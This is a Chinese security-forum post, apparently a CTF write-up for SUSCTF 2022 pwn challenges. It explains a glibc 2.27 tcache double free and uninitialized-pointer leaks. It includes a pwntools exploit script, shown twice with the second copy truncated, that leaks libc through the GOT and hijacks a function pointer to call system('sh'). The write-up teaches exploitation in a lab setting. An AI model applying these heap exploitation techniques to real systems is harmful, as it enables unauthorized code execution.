首页
社区
课程
招聘
[原创]【susctf2022】
发表于: 2022-4-28 16:01 8642

[原创]【susctf2022】

2022-4-28 16:01
8642

题目链接

(1)glibc2.27-3无对tcache double free的检测即key指针

(2)未初始化指针利用:申请的chunk如果为初始化会保留bin中的fd,bk等指针,可以利用这些未初始化的值leak libc或者堆块地址。hgame里很多堆题都没有初始化指针,可以非预期泄露libc

(3)平衡二叉树:维护一颗二叉树,保证任何一个节点的左子树上的所有结点都比自己小,右子树上所有节点都比自己大

(4)c++:可以通过new和delet实现内存的分配,但内核还是malloc和free函数,而且用法和malloc以及free差别不大

glibc 2.27

img

-3版本不存在对tcache double free的检测

img

发现没开pie,考虑可以利用elf的got表或plt表

img

从menu里面可以看出主要有三个功能config、call rdx 、rain

img

修改v4,将v4[7]的位置放一个堆块并且对其进行修改

img

img

img

img

call v4[5]: 初始是一个打印v4内容的函数,后面可以劫持它

实现代码雨,和利用没啥大关系

config里面有一个realloc函数,可以实现free和malloc两种功能

首先在v4[7]位置申请一个和v4大小相同的堆块,double free它,rain过后再次申请就会使得v4和v4[7]的堆块地址相同。那么我们就可以利用后续修改v4[7]来实现修改v4

首先修改v4[6]的位置为任意函数的got并且将v4[7]置为0,这样就会打印got表来leak libc

然后修改v4为sh,v4[5]为system函数,这样在menu时选择2就会调用后门

为啥'/bin/sh\x00'不行要用‘sh’,因为这里的*v4其实是一个循环的次数:

img

如果太大会直接导致程序崩溃

glibc 2.27

img

img

img

由menu可以发现实现了三种功能,insert,delet和show。整体上看,这是用一个平衡二叉树来存储堆块地址。

img

发现树上的节点都是一个0x20(不包含size和pre_size位)大小的如下结构体:

note存储的是根节点的地址

img

img

这里的流程用到了递归

如果当前的size和要寻找的size一样,就进入大的条件判断

此时分三种情况:

(1)左右节点指针同时存在:找到比a2的size大的最小的size的节点删除

(2)左右节点存在一个:删除该节点并返回存在的节点指针

(3)左右节点都不存在:删除该节点返回0

”(1)“比较复杂,当时也想不出来有啥用,就和注释的一样。不太好可控,所以利用的时候构造的都是两条从根节点出发的单链,即左边一直放大,右边一直减小。

img

简单的打印con

把tcache填满后放一个chunk进入unsorted bin

先后申请0x20(节点同大小的chunk)和0x40(这里是为了切割unsorted chunk)的大小,利用指针未初始化leak libcbase和heapbase

然后思考可否double free,我们发现delet的是节点和con指针指向的chunk,通过伪造来实现free(con)应该不现实,因为insert会分配伪造的堆块的*con。那我们就只能考虑free一个伪造的节点,到达这个节点必然是通过前面节点的子节点指针。

这样利用思路就很明确了,申请一个0x20大小的堆块,content中将子节点指针中的一个置为我们想要free的堆块的地址。free掉进入tcache,那么下下次(这个0x20的堆块是作为*con,先被free,所以在tcache里它前面还有一个后free的节点指针)创造新的节点就会使用到这个伪造的chunk,再通过平衡树的机制找到它free了就好。

这部分可能有点抽象,自己画画图就好理解了

img

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
r=process('./rain')
elf=ELF('./rain')
libc=ELF('./libc.so.6')
read=elf.got['read']
log.success('read:'+hex(read))
 
def z():
    gdb.attach(r)
 
def cho(name):
    r.sendafter("ch> ",str(name))
 
def config(con):
    cho(1)
    r.sendafter("FRAME> ",'\x00'*18+con)
 
def show():
    cho(2)
 
def rain():
    cho(3)
 
#tcache double free
config('a'*0x20)
config('a'*0x40)
config('')
config('')
 
#leak_libc
rain()
pd=p64(0)+p64(0x6161616161610102)+p64(0x620250)+p64(0x6204e0)+p64(0xc35000000064)+p64(0x400e17)+p64(read)+p64(0)
config(pd)
show()
r.recvuntil('Table:            ')
libcbase=u64(r.recvuntil('\x7f').ljust(8,'\x00'))-libc.sym['read']
log.success('libcbase:'+hex(libcbase))
system=libcbase+libc.sym['system']
config('')
config('sh\x00\x00'+'\x00'*4+p64(0x0201)+p64(0x620250)+p64(0x6204e0)+p64(0x0000c35000000030)+p64(system)+p64(read)+p64(0))
cho(2)
r.interactive()
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
 
r=process('./rain')
elf=ELF('./rain')
libc=ELF('./libc.so.6')
read=elf.got['read']
log.success('read:'+hex(read))
 
def z():
    gdb.attach(r)
 
def cho(name):
    r.sendafter("ch> ",str(name))
 
def config(con):
    cho(1)
    r.sendafter("FRAME> ",'\x00'*18+con)
 
def show():
    cho(2)
 
def rain():
    cho(3)
 
#tcache double free
config('a'*0x20)
config('a'*0x40)
config('')
config('')
 
#leak_libc
rain()
pd=p64(0)+p64(0x6161616161610102)+p64(0x620250)+p64(0x6204e0)+p64(0xc35000000064)+p64(0x400e17)+p64(read)+p64(0)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//